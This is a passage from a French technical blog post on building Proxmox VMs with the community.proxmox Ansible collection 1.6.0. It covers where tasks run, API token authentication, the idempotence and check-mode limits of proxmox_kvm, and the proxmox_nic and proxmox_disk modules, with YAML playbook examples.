pas un agent de configuration. C\u0026rsquo;est un client d\u0026rsquo;API qui se trouve être livré comme une collection Ansible. À ce titre, tout dans ce billet découle de ce seul fait — où les tâches tournent, comment vous y faites entrer des identifiants, pourquoi relancer ne fait pas ce que vous attendez, et pourquoi --check ne vous dit pas la vérité.\nLes exemples ici sont réduits à partir d\u0026rsquo;un playbook qui construit des VM Windows et Linux depuis des enregistrements NetBox : proxmox-create-vms.yml. J\u0026rsquo;ai rendu génériques les noms de nœud, de stockage et de pont pour la lisibilité — la vraie chose est dans ce dépôt.\nTout ce que j\u0026rsquo;affirme sur le comportement des modules ci-dessous a été vérifié contre community.proxmox 1.6.0, qui est la version que j\u0026rsquo;ai installée :\n$ ansible-galaxy collection list community.proxmox # /home/damien/.ansible/collections/ansible_collections Collection Version ----------------- ------- community.proxmox 1.6.0 D\u0026rsquo;abord : la collection a déménagé Si vous lisez un playbook plus ancien ou une réponse plus ancienne, les modules s\u0026rsquo;appelaient community.general.proxmox_kvm. Ils vivent désormais dans une collection dédiée, et c\u0026rsquo;est là que le développement se fait. La version 1.6.0 livre 47 modules, couvrant Ceph, SDN, pare-feu, règles HA et jointure de cluster, dont aucun n\u0026rsquo;existait à l\u0026rsquo;ère community.general.\nansible-galaxy collection install community.proxmox pip install \u0026#39;proxmoxer\u0026gt;=2.0\u0026#39; requests La dépendance Python n\u0026rsquo;est pas optionnelle et pas embarquée : la collection déclare requirements: [\u0026quot;proxmoxer \u0026gt;= 2.0\u0026quot;, \u0026quot;requests\u0026quot;], et ceux-là doivent être installés là où le module s\u0026rsquo;exécute réellement — ce qui, comme l\u0026rsquo;explique la section suivante, n\u0026rsquo;est pas le nœud Proxmox.\nrequirements.yml, si vous préférez l\u0026rsquo;épingler :\n--- collections: - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; La collection est testée contre ansible-core 2.17 à 2.20. Renommer vos tâches community.general.proxmox_* en community.proxmox.proxmox_* est l\u0026rsquo;essentiel de la migration.\nChaque tâche Proxmox tourne sur localhost Deux lignes en haut du play font le gros du travail, et les deux ont l\u0026rsquo;air de désactiver quelque chose d\u0026rsquo;utile :\n- name: Create Proxmox virtual machines hosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; gather_facts: false serial: 1 gather_facts: false n\u0026rsquo;est pas une optimisation. La collecte de faits se connecte à l\u0026rsquo;hôte d\u0026rsquo;inventaire, et l\u0026rsquo;hôte d\u0026rsquo;inventaire est une VM qui n\u0026rsquo;a pas encore été construite. Laissez-la active et le play échoue avant la première tâche.\nPuis chaque tâche Proxmox porte delegate_to: localhost :\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; ... L\u0026rsquo;hôte d\u0026rsquo;inventaire n\u0026rsquo;est plus qu\u0026rsquo;un nom et un sac de variables. inventory_hostname devient le nom de la VM ; ses variables décrivent la machine que vous voulez. Rien ne s\u0026rsquo;y connecte. La tâche tourne sur le nœud de contrôle, qui ouvre une session HTTPS vers api_host et poste une définition de VM.\nVous verrez aussi cela écrit local_action:, qui est la syntaxe plus ancienne pour la même chose. Le playbook de démantèlement dans ce dépôt l\u0026rsquo;utilise partout. Ils sont équivalents. delegate_to est l\u0026rsquo;orthographe actuelle.\nLa trappe d\u0026rsquo;échappement pointe vers le nœud Certaines choses doivent vraiment se passer sur un hôte Proxmox, et ces tâches délèguent ailleurs entièrement :\n- name: Fail if no ISO file exists for the OS delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; ansible.builtin.stat: path: \u0026#34;{{ iso | replace(\u0026#39;isos:\u0026#39;, \u0026#39;/mnt/pve/isos/template/\u0026#39;) }}\u0026#34; register: iso_file failed_when: not iso_file.stat.exists C\u0026rsquo;est une vraie connexion SSH à un vrai nœud, vérifiant un vrai chemin sur du stockage partagé, parce que l\u0026rsquo;API acceptera volontiers une référence d\u0026rsquo;ISO qui ne se résout pas en fichier et vous préférez le découvrir maintenant plutôt qu\u0026rsquo;au démarrage. Notez la chirurgie de chaîne traduisant une référence de stockage PVE (isos:iso/debian.iso) en chemin de système de fichiers. L\u0026rsquo;abstraction de stockage n\u0026rsquo;est pas disponible pour stat.\nUn seul play a donc des tâches qui s\u0026rsquo;exécutent en trois endroits différents, et les mélanger est la façon la plus courante dont ces playbooks échouent :\nOù chaque tâche d'un playbook de construction Proxmox s'exécute réellement Nœud de contrôle Ansible delegate_to: localhost proxmox_kvm proxmox_vm_info proxmox_disk proxmox_access_acl chacun d'eux est un client HTTPS, pas un agent proxmoxer \u0026#8805; 2.0 + requests installés ici, pas sur le nœud gather_facts: false Nœud Proxmox \u0026#8212; pve1 pvedaemon, REST API sur le port 8006 qm, /etc/pve, storage la définition de la VM atterrit ici la VM que vous créez no IP \u0026#183; no SSH \u0026#183; no Python pas de système d'exploitation dans l'inventaire ce n'est qu' un nom et un sac de variables API SSH qm set stat rien à quoi se connecter pas avant un play ultérieur Trois contextes d\u0026rsquo;exécution dans un play. Les modules Proxmox ne touchent jamais le nœud ni l\u0026rsquo;invité — ce sont des clients HTTPS qui tournent à côté du playbook. La trappe d\u0026rsquo;échappement qm est la seule partie qui a besoin de SSH vers un hyperviseur. Identifiants, et un défaut sur le point de changer Les options d\u0026rsquo;authentification sont partagées par chaque module de la collection à travers un fragment de documentation, donc elles sont les mêmes partout : api_host, api_user, puis soit api_password, soit la paire api_token_id / api_token_secret. Toutes retombent sur des variables d\u0026rsquo;environnement — PROXMOX_HOST, PROXMOX_USER, PROXMOX_PASSWORD, PROXMOX_TOKEN_ID, PROXMOX_TOKEN_SECRET, PROXMOX_VALIDATE_CERTS — ce qui est la façon la plus propre de garder les secrets entièrement hors du play.\nUn jeton d\u0026rsquo;API est le meilleur défaut. Il est cadré, il est révocable sans changer le mot de passe d\u0026rsquo;un humain, et on peut lui donner exactement les privilèges dont le playbook a besoin plutôt que ceux qu\u0026rsquo;une personne a par hasard :\n- name: Create Proxmox VM delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true ca_path: /etc/ssl/certs/pve-cluster-ca.pem Réglez validate_certs explicitement, aujourd\u0026rsquo;hui. La propre documentation de la collection le dit clairement :\nCurrently defaults to false and changes default to true with community.proxmox 2.0.0.\nCe qui veut dire qu\u0026rsquo;un playbook qui ne le mentionne jamais ne valide pas TLS en ce moment, et se mettra à valider — et donc à échouer contre le certificat auto-signé que chaque installation Proxmox fraîche livre — dès que quelqu\u0026rsquo;un lancera --upgrade. Mieux vaut prendre cette décision exprès que de la voir atterrir au milieu d\u0026rsquo;un montage. Si vous gardez le certificat auto-signé, dites validate_certs: false et assumez le constat ; si vous avez une vraie chaîne, pointez ca_path dessus. Dans un cas comme dans l\u0026rsquo;autre, c\u0026rsquo;est écrit.\nLe minimum viable de création Réduisez la tâche de production à ce qui définit réellement une machine et c\u0026rsquo;est lisible :\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true node: pve1 name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ vcpus | int }}\u0026#34; memory: \u0026#34;{{ memory }}\u0026#34; machine: q35 bios: ovmf ostype: l26 scsihw: virtio-scsi-single scsi: scsi0: \u0026#34;vmdata:32,format=qcow2,discard=on,ssd=1\u0026#34; sata: sata0: \u0026#34;isos:iso/debian-13-netinst.iso,media=cdrom\u0026#34; net: net0: \u0026#34;virtio,bridge=vmbr0\u0026#34; efidisk0: storage: vmdata format: raw efitype: 4m pre_enrolled_keys: true boot: \u0026#34;order=scsi0;sata0\u0026#34; agent: \u0026#34;enabled=1,fstrim_cloned_disks=1\u0026#34; onboot: true tags: - production Quelques choses sur cette forme valent d\u0026rsquo;être connues avant d\u0026rsquo;écrire la vôtre.\nLes options de périphérique sont de la syntaxe PVE dans du YAML. scsi, sata, net, virtio, ide sont tous typés dict, clés scsi0, net0 et ainsi de suite, et les valeurs sont les chaînes d\u0026rsquo;options séparées par des virgules tout droit sorties de man qm — \u0026lt;storage\u0026gt;:\u0026lt;size\u0026gt;,option=value pour un disque, [model=]\u0026lt;enum\u0026gt;,option=value pour une NIC. Le module ne les modélise pas ; il les transmet. Quand quelque chose est rejeté, la réponse est dans la référence des options PVE, pas dans la doc Ansible.\nVous les verrez aussi écrites en chaîne JSON plutôt qu\u0026rsquo;en mappage YAML :\nnet: \u0026#39;{\u0026#34;net0\u0026#34;:\u0026#34;virtio,bridge={{ vlan_bridge }}\u0026#34;}\u0026#39; Les deux marchent. Ansible coerce la chaîne pour un paramètre typé dict. La forme JSON existe parce qu\u0026rsquo;il est plus facile de templater toute une structure en une seule expression Jinja. La forme mappage est plus facile à lire six mois plus tard.\nboot a deux générations de syntaxe. Le module accepte les lettres héritées, où boot: \u0026quot;cdn\u0026quot; veut dire « essayer disque, puis CD-ROM, puis réseau ». Le PVE actuel veut une liste ordonnée explicite — boot: \u0026quot;order=scsi0;sata0;net0\u0026quot; — qui est sans ambiguïté sur quel disque. La forme héritée marche encore. La forme explicite est celle que vous voulez dans un nouveau travail. Un vrai piège enfoui dans la doc du module : le démarrage réseau exige de régler rng0 depuis PVE 8.3.5.\nnuma et numa_enabled sont des paramètres différents. numa_enabled est le booléen qui active NUMA. numa est un dict décrivant une topologie (cpus, hostnodes, memory, policy). Mettre numa: true est une erreur de type, et c\u0026rsquo;est une heure facile à perdre. Si vous voulez savoir pourquoi tout cela compte, l\u0026rsquo;alignement NUMA sur Proxmox couvre le problème sous-jacent.\nmachine: q35 et bios: ovmf sont les bons défauts, pas de la décoration — cet argument en entier.\nOmettre vmid veut dire que le module demande à l\u0026rsquo;API le prochain ID libre. Pratique, et la cause directe de la chose suivante.\nPourquoi serial: 1 « Récupérer le prochain ID disponible, puis créer une VM avec » est deux appels d\u0026rsquo;API avec un intervalle au milieu. Deux workers faisant cela en même temps peuvent lire le même ID libre, et le perdant obtient une erreur ou, pire, une surprise.\nserial: 1 fait la phase de création un hôte à la fois. Ce n\u0026rsquo;est pas rapide et ça n\u0026rsquo;a pas besoin de l\u0026rsquo;être. La partie coûteuse de la construction d\u0026rsquo;une VM se passe après que ce playbook a passé la main. Le play homologue qui démarre les VM finies utilise serial: 5, parce que le démarrage n\u0026rsquo;a pas de compteur partagé à disputer.\nSi vous préférez le parallélisme, allouez le VMID vous-même depuis votre source de vérité et passez-le explicitement. Alors il n\u0026rsquo;y a pas de lire-modifier-écrire et pas de course.\nL\u0026rsquo;idempotence n\u0026rsquo;est pas ce que vous attendez C\u0026rsquo;est la section à lire deux fois, parce que proxmox_kvm ne se comporte pas comme ansible.builtin.package.\nname n\u0026rsquo;est pas une identité. Les noms de VM ne sont pas uniques dans un cluster Proxmox, et le module le dit. Avec state: present et pas de vmid, si une VM de ce nom existe déjà, le module sort changed=false avec msg: \u0026quot;VM with name \u0026lt;x\u0026gt; already exists\u0026quot; et ne fait rien. Il ne compare pas vos paramètres à la réalité. Il ne converge pas. Il refuse.\nupdate vaut false par défaut. Donc éditer memory: dans votre playbook et relancer est sans effet. La VM garde la mémoire avec laquelle elle a été construite, la tâche rapporte un succès, et rien nulle part ne vous dit que les deux ont divergé.\nupdate: true refuse encore les paramètres intéressants. D\u0026rsquo;après la documentation du module :\nBecause of the operations of the API and security reasons, I have disabled the update of the following parameters net, virtio, ide, sata, scsi. Per example updating net update the MAC address and virtio create always new disk…\nupdate_unsafe: true lève cette restriction, et l\u0026rsquo;avertissement n\u0026rsquo;est pas pour la forme :\nUse this option with caution because an improper configuration might result in a permanent loss of data (for example disk recreated).\nDonc le disque que vous pensiez redimensionner peut être remplacé par un nouveau vide. Ne recourez pas à ceci — les paramètres refusés ont leurs propres modules, et c\u0026rsquo;est la section suivante.\nEt --check ne couvre rien de tout cela. La collection déclare la prise en charge du mode check par module, et elle est incohérente exactement dans le mauvais sens :\nModule check_mode diff_mode proxmox_kvm none none proxmox_disk none none proxmox_template none none proxmox_snap full none proxmox_nic full none proxmox_pool full none Le partage n\u0026rsquo;est pas « les modules en lecture seule le peuvent, les modules en écriture non » — proxmox_nic crée et supprime des interfaces et honore parfaitement bien le mode check. C\u0026rsquo;est que les trois modules traitant du stockage et du cycle de vie de la VM ne le font pas. Une passe --check d\u0026rsquo;un playbook de construction saute la création de la VM en silence puis rapporte sur un monde où la VM n\u0026rsquo;a jamais été faite, donc chaque tâche après elle raisonne sur le mauvais état. Sur un playbook de construction, --check n\u0026rsquo;est pas un filet de sécurité, et le traiter comme tel est pire que de ne pas le lancer.\nCe qu'une seconde passe de proxmox_kvm fait réellement seconde passe \u0026#8212; state: present, et une VM de ce nom existe le module ne compare jamais vos paramètres à la VM en marche update: false le défaut changed = false \u0026#8220;VM with name \u0026lt;x\u0026gt; already exists\u0026#8221; éditez memory dans le play, relancez, et rien ne vous prévient update: true converge l'essentiel cores, memory, tags, agent, onboot appliqués net, virtio, ide, sata, scsi, efidisk0, tpmstate0 refusés par conception utilisez proxmox_disk et proxmox_nic pour ceux-là update_unsafe: true converge tout les paramètres refusés sont appliqués aussi un paramètre de disque peut recréer le disque perte de données permanente est le risque documenté --check ne vous dit rien check_mode: none la tâche est sautée chaque tâche suivante raisonne sur un monde où la VM n'a jamais été créée Deux des quatre convergent quoi que ce soit, et celle qui couvre les disques est celle qui peut les détruire. Verrouillez donc sur l'existence vous-même, et traitez la création en événement unique. Ce qu\u0026rsquo;une seconde passe fait réellement. Deux des quatre chemins convergent quoi que ce soit, et le seul qui couvre les disques est celui qui peut les détruire. Alors faites de l\u0026rsquo;existence le verrou Vu tout cela, le schéma qui marche est de cesser de demander au module d\u0026rsquo;être idempotent et de décider vous-même s\u0026rsquo;il faut construire. Le playbook de production le fait ainsi :\n- name: Check if VM is present or manually built delegate_to: localhost community.proxmox.proxmox_vm_info: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; config: current register: existing_vm ignore_errors: true failed_when: (existing_vm.proxmox_vms | length) == 0 - name: Configure Proxmox VM when: existing_vm is failed block: - name: Create Proxmox VM ... proxmox_vm_info avec config: current retourne la VM et sa configuration en vie, ou une liste vide. failed_when transforme « liste vide » en échec, ignore_errors: true empêche cet échec de terminer le play, et when: existing_vm is failed devient « la VM n\u0026rsquo;est pas là, construis-la ».\nSe servir d\u0026rsquo;une tâche délibérément échouée comme d\u0026rsquo;un booléen se lit mal, et je ne vais pas prétendre le contraire. L\u0026rsquo;alternative est when: (existing_vm.proxmox_vms | default([]) | length) == 0, qui est honnête sur le fait d\u0026rsquo;être une vérification de longueur et n\u0026rsquo;a pas besoin d\u0026rsquo;ignore_errors. Les deux marchent. La version ci-dessus est ce qui est en production, et son seul vrai avantage est que le résultat enregistré porte la configuration existante pour que des tâches ultérieures la lisent.\nLa partie importante est la forme, pas l\u0026rsquo;orthographe : vérifier, puis bifurquer, et traiter la création comme un événement unique. La configuration continue d\u0026rsquo;une VM est un problème différent de l\u0026rsquo;existence d\u0026rsquo;une VM, et ce module n\u0026rsquo;est bon qu\u0026rsquo;au second.\nLes disques et les NIC ont leurs propres modules Voici la chose que j\u0026rsquo;ai passée sous silence plus haut, et elle change tout le tableau : les paramètres que proxmox_kvm refuse de mettre à jour ne sont pas un manque dans la collection. Ils sont délégués. community.proxmox.proxmox_disk et community.proxmox.proxmox_nic ajoutent, changent et retirent exactement les choses que le module de création ne touchera pas — clés sur les mêmes noms scsi0 et net0 que vous avez utilisés à la construction de la VM.\nLes deux se comportent mieux que proxmox_kvm, et l\u0026rsquo;un d\u0026rsquo;eux est le seul module de ce flux qui peut être passé à blanc.\nproxmox_nic — ajouter, réétiqueter ou retirer une interface - name: Move the VM\u0026#39;s primary NIC to a new bridge and VLAN delegate_to: localhost community.proxmox.proxmox_nic: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; interface: net0 bridge: vmbr1 tag: 120 model: virtio mtu: 1 queues: 4 firewall: true state: present interface est la seule option requise au-delà de l\u0026rsquo;authentification — net[n] où n va de 0 à 31 — et state: present ou absent vous donne l\u0026rsquo;ajout et le retrait. model vaut virtio par défaut, ce qui est la bonne réponse à moins qu\u0026rsquo;un invité ne s\u0026rsquo;en accommode pas.\nLa raison d\u0026rsquo;être de ce module est l\u0026rsquo;adresse MAC. Rappelez-vous pourquoi proxmox_kvm refuse de mettre à jour net : « updating net update the MAC address ». proxmox_nic corrige cela explicitement :\nWhen not specified this module will keep the MAC address the same when changing an existing interface.\nVous pouvez donc réétiqueter un VLAN, déplacer un pont, changer le MTU ou activer le pare-feu sans que l\u0026rsquo;identité de la NIC de l\u0026rsquo;invité ne change en dessous. Cela compte plus qu\u0026rsquo;il n\u0026rsquo;y paraît : une nouvelle MAC invalide les réservations DHCP, casse tout ce qui est licencié à une NIC, et désynchronise l\u0026rsquo;enregistrement d\u0026rsquo;interface NetBox que le playbook de création a si soigneusement écrit. C\u0026rsquo;est le module qui rend banal un changement réseau en jour 2.\nQuelques options à connaître avant d\u0026rsquo;en avoir besoin :\nrate est en Mo/s — mégaoctets par seconde, pas en bits. La documentation est explicite et l\u0026rsquo;erreur de facteur huit est très facile à faire. link_down: true déconnecte l\u0026rsquo;interface, décrite dans la doc comme « like pulling the plug » — comme débrancher la prise. Une façon propre d\u0026rsquo;isoler une VM suspecte sans l\u0026rsquo;arrêter ni toucher l\u0026rsquo;invité. trunks prend une liste d\u0026rsquo;ID de VLAN à laisser passer, pour un invité qui fait son propre étiquetage. mtu: 1 n\u0026rsquo;est pas une faute de frappe et pas un MTU de 1 octet — cela veut dire « hériter du MTU du pont », et ne s\u0026rsquo;applique qu\u0026rsquo;à virtio. queues règle le multiqueue, 0 à 16. Vaut d\u0026rsquo;être assorti au nombre de vCPU sur tout ce qui pousse du vrai trafic. Et il prend le mode check pleinement en charge. --check sur une tâche proxmox_nic vous dit la vérité, ce qui en fait la seule partie de ce flux que vous pouvez répéter en sûreté. Ses messages sont proprement idempotents aussi. Une interface inchangée rapporte Nic net0 unchanged on VM with vmid 103 plutôt que de revendiquer un changement.\nproxmox_disk — tout le cycle de vie du disque proxmox_disk est le plus grand module des trois, et son state fait cinq travaux différents :\nstate Ce qui se passe Réversible ? present crée le disque, ou met à jour les options d\u0026rsquo;un existant s.o. resized l\u0026rsquo;agrandit — PVE ne peut pas rétrécir, et la doc dit de le faire à la main non detached devient unused[n] ; le volume et ses données restent oui moved change le stockage d\u0026rsquo;appui, ou remet le disque à une autre VM l\u0026rsquo;original gardé sauf delete_moved absent retiré du stockage d\u0026rsquo;appui non L\u0026rsquo;écart entre detached et absent est le filet de sécurité que proxmox_kvm ne vous donne jamais. Détacher est un changement de configuration ; supprimer détruit des données. Deux mots différents, deux conséquences différentes.\nAjouter un second disque à une VM qui existe déjà :\n- name: Add a data disk delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 storage: vmdata size: 200 format: qcow2 iothread: true aio: io_uring discard: \u0026#34;on\u0026#34; ssd: true backup: true state: present create est le bouton que proxmox_kvm aurait dû avoir. Il contrôle ce que state: present a le droit de faire :\nregular (le défaut) — crée le disque s\u0026rsquo;il manque, sinon met à jour ses options. disabled — met à jour les options seulement, et ne crée jamais. C\u0026rsquo;est celui à choisir quand vous changez cache ou iothread sur un disque qui doit déjà exister. Il ne peut pas vous surprendre en invoquant un nouveau volume parce qu\u0026rsquo;une clé était mal orthographiée. forced — crée toujours. Un disque existant est détaché et laissé inutilisé, pas supprimé. Ce dernier comportement est le détail important. create: forced est l\u0026rsquo;option à l\u0026rsquo;air destructeur, et elle ne détruit quand même rien : l\u0026rsquo;ancien volume survit en unusedN et vous pouvez le rattacher. Comparez cela avec proxmox_kvm plus update_unsafe, dont le mode d\u0026rsquo;échec documenté est un disque recréé. Même opération grossière, bien meilleur rayon d\u0026rsquo;explosion.\nAgrandir un disque :\n- name: Grow the data disk by 100 GiB delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 size: \u0026#34;+100G\u0026#34; state: resized Attention aux unités, parce que size change de sens avec state. Avec state: present c\u0026rsquo;est des Gio en nombre nu (size: 200). Avec state: resized il prend un suffixe — +100G pour ajouter à la taille actuelle, ou 500G comme cible absolue. Un paramètre, deux conventions, et l\u0026rsquo;échec est silencieux si vous devinez mal.\nDéplacer un disque vers un stockage différent, ce qui est le cas de la migration-à-chaud-d\u0026rsquo;un-seul-volume :\n- name: Move the disk to NVMe storage delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 target_storage: nvme-pool bwlimit: 200000 delete_moved: true timeout: 3600 state: moved target_storage déplace au sein d\u0026rsquo;une VM ; target_vmid remet le disque à une VM différente et exige le même stockage des deux côtés. Ils sont mutuellement exclusifs. delete_moved vaut false par défaut, donc par défaut vous finissez avec deux copies et l\u0026rsquo;original qui siège là comme inutilisé — sûr, et une bonne façon de remplir un pool de stockage si vous n\u0026rsquo;y revenez jamais.\ntimeout vaut 600 ici par défaut, contre 30 dans proxmox_kvm. Paramètre d\u0026rsquo;apparence identique, différence d\u0026rsquo;un facteur vingt, parce que ces opérations copient des données. Relevez-le pour de grandes images ou du stockage lent — la doc le dit pour moved comme pour import_from.\nCe qui amène l\u0026rsquo;option qui fait de ce module le chemin V2V et image cloud :\nimport_from: \u0026#34;vmdata:9000/base-debian13.qcow2\u0026#34; import_from bâtit le disque depuis un volume existant plutôt que d\u0026rsquo;en allouer un vide — \u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;NAME\u0026gt;, ou \u0026lt;STORAGE\u0026gt;:import/\u0026lt;NAME\u0026gt; en utilisant le répertoire d\u0026rsquo;import de stockage sur PVE 9.x et plus tard. Il est mutuellement exclusif avec size, et seul root peut utiliser des chemins de système de fichiers absolus.\nLe reste de la liste de paramètres est la raison d\u0026rsquo;attacher les disques avec ce module plutôt qu\u0026rsquo;en ligne dans l\u0026rsquo;appel de création : cache, aio, iothread, discard, ssd, backup, detect_zeroes, et toute la famille de limitation — iops, iops_rd, iops_wr, leurs variantes _max et _max_length, et les contrôles de rafale bps_*_max_length. Rien de tout cela n\u0026rsquo;est atteignable par proxmox_kvm après la création.\nDeux réserves, toutes deux de la propre documentation du module :\nCertains changements d\u0026rsquo;options ont besoin d\u0026rsquo;un redémarrage. « Some updates on options (like cache) are not being applied instantly and require VM restart. » Une tâche verte veut dire que la configuration a été écrite, pas que la VM en marche se comporte différemment. Il ne prend pas le mode check en charge. check_mode: none, comme proxmox_kvm. La collection se coupe donc en deux : les changements de NIC peuvent être répétés avec --check, les changements de disque non. La division du travail Pour faire ceci Utilisez Créer la VM proxmox_kvm, une fois, verrouillé sur l\u0026rsquo;existence Changer cœurs, mémoire, tags, agent, onboot proxmox_kvm avec update: true Ajouter, réétiqueter, déconnecter ou retirer une NIC proxmox_nic Ajouter, agrandir, déplacer, détacher ou retirer un disque proxmox_disk Instantané proxmox_snap (aussi le mode check complet) Tout ce qu\u0026rsquo;aucun d\u0026rsquo;eux n\u0026rsquo;expose qm set par SSH Changer un disque ou une NIC par proxmox_kvm rien — c\u0026rsquo;est à cela que sert update_unsafe, et c\u0026rsquo;est pourquoi vous ne devriez pas l\u0026rsquo;utiliser Construisez la VM avec un appel proxmox_kvm minimal, puis attachez les disques et les interfaces avec leurs propres modules. C\u0026rsquo;est plus de tâches, et c\u0026rsquo;est la version où les changements en jour 2 ont une route qui n\u0026rsquo;implique pas une option dont le risque documenté est de perdre un disque.\nLà où le module s\u0026rsquo;arrête proxmox_kvm a une énorme liste de paramètres et ne couvre quand même pas tout ce que qm peut faire. Plutôt que d\u0026rsquo;attendre, le playbook de production descend à la CLI sur le nœud :\n- name: Set RNG source and better SPICE quality delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; become: true ansible.builtin.command: cmd: \u0026gt;- /usr/sbin/qm set {{ created_vm.vmid }} --rng0 source=/dev/urandom --spice_enhancements videostreaming=all Il n\u0026rsquo;y a rien de mal à cela. Ce n\u0026rsquo;est idempotent en aucun sens significatif — qm set est une écriture, et il rapportera changed à chaque passe — mais c\u0026rsquo;est explicite, c\u0026rsquo;est lisible, et ça ne fait pas semblant. Si un module gagne le paramètre plus tard, vous supprimez la tâche.\nD\u0026rsquo;autres choses ont besoin d\u0026rsquo;une seconde passe par le module avec update: true, parce qu\u0026rsquo;elles ne peuvent pas être réglées dans le même appel qui crée la VM :\n- name: Add SPICE-compatible USB device delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; usb: usb0: \u0026#34;spice,usb3=1\u0026#34; update: true when: spice_usb | default(false) Notez qu\u0026rsquo;il passe vmid, pas name. Une fois que vous avez l\u0026rsquo;ID, utilisez-le. C\u0026rsquo;est le seul identifiant que l\u0026rsquo;API traite comme unique.\nEt pour les choses que QEMU peut faire et que PVE n\u0026rsquo;a pas d\u0026rsquo;option pour, il y a args, qui est passé à la ligne de commande QEMU verbatim :\nargs: \u0026gt;- -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Celui-là présente le disque virtuel en 4Kn plutôt qu\u0026rsquo;en 512e, ce qui compte plus qu\u0026rsquo;il n\u0026rsquo;en a l\u0026rsquo;air — tailles de bloc, 4Kn et 512e. Le module étiquette args « for experts only » — pour experts seulement — et la raison est que PVE ne le valide pas et qu\u0026rsquo;un mauvais drapeau empêche la VM de démarrer avec une erreur qui vient de QEMU plutôt que de Proxmox.\nLe cluster n\u0026rsquo;est pas instantanément cohérent - name: Let registration complete on cluster ansible.builtin.pause: seconds: 5 when: created_vm.changed Un pause dans un playbook est d\u0026rsquo;ordinaire une mauvaise odeur, et celui-ci est porteur. L\u0026rsquo;appel de création revient quand l\u0026rsquo;API a accepté la définition, ce qui n\u0026rsquo;est pas la même chose que chaque nœud s\u0026rsquo;accordant sur l\u0026rsquo;existence de la VM — et la toute prochaine tâche veut poser une ACL sur /vms/\u0026lt;vmid\u0026gt;. Cinq secondes de patience sont moins chères qu\u0026rsquo;une boucle de réessai autour d\u0026rsquo;une erreur qui n\u0026rsquo;apparaît que sous charge.\nLe playbook de démantèlement a la même forme pour la même raison : arrêter, attendre, puis supprimer.\nRelire ce que vous avez construit proxmox_kvm documente trois valeurs de retour : vmid, status et msg. En pratique vous en voudrez une quatrième, et elle n\u0026rsquo;est pas dans la documentation.\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026#34;{{ created_vm.mac.net0 }}\u0026#34; created_vm.mac est réel — le module le bâtit dans get_vminfo() et le colle dans le résultat — mais il est absent du bloc RETURN documenté, ce qui veut dire que rien ne promet qu\u0026rsquo;il continuera de marcher. Il vaut de savoir exactement comment il se comporte, parce qu\u0026rsquo;il y a deux pièges dedans :\nIl n\u0026rsquo;apparaît que quand le module a réellement créé la VM. mac n\u0026rsquo;est assemblé que sur le chemin création-et-déploiement. Prenez la branche « existe déjà » et le résultat a vmid et msg et rien d\u0026rsquo;autre. Il ne contient que les interfaces que vous avez passées. Le code parcourt les paramètres que vous avez fournis et en extrait ceux correspondant à net[0-9], puis relit la configuration stockée de chacun depuis l\u0026rsquo;API. Pas de paramètre net, pas de clé mac. C\u0026rsquo;est pourquoi le playbook de production a besoin des deux moitiés, et la seconde est laide :\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026gt;- {{ created_vm.mac.net0 if created_vm is defined and created_vm.changed else ((existing_vm.proxmox_vms[0].config.net0 | split(\u0026#39;,\u0026#39;))[0] | split(\u0026#39;=\u0026#39;))[1] }} Quand la VM existait déjà, il n\u0026rsquo;y a pas de mac, donc la MAC doit être extraite de la chaîne de configuration brute. net0 revient de l\u0026rsquo;API comme virtio=AE:AE:5C:A8:89:85,bridge=vmbr0, donc : découper sur les virgules, prendre le premier champ, découper sur =, prendre la seconde moitié. C\u0026rsquo;est de la chirurgie de chaîne sur une réponse d\u0026rsquo;API, et c\u0026rsquo;est le coût 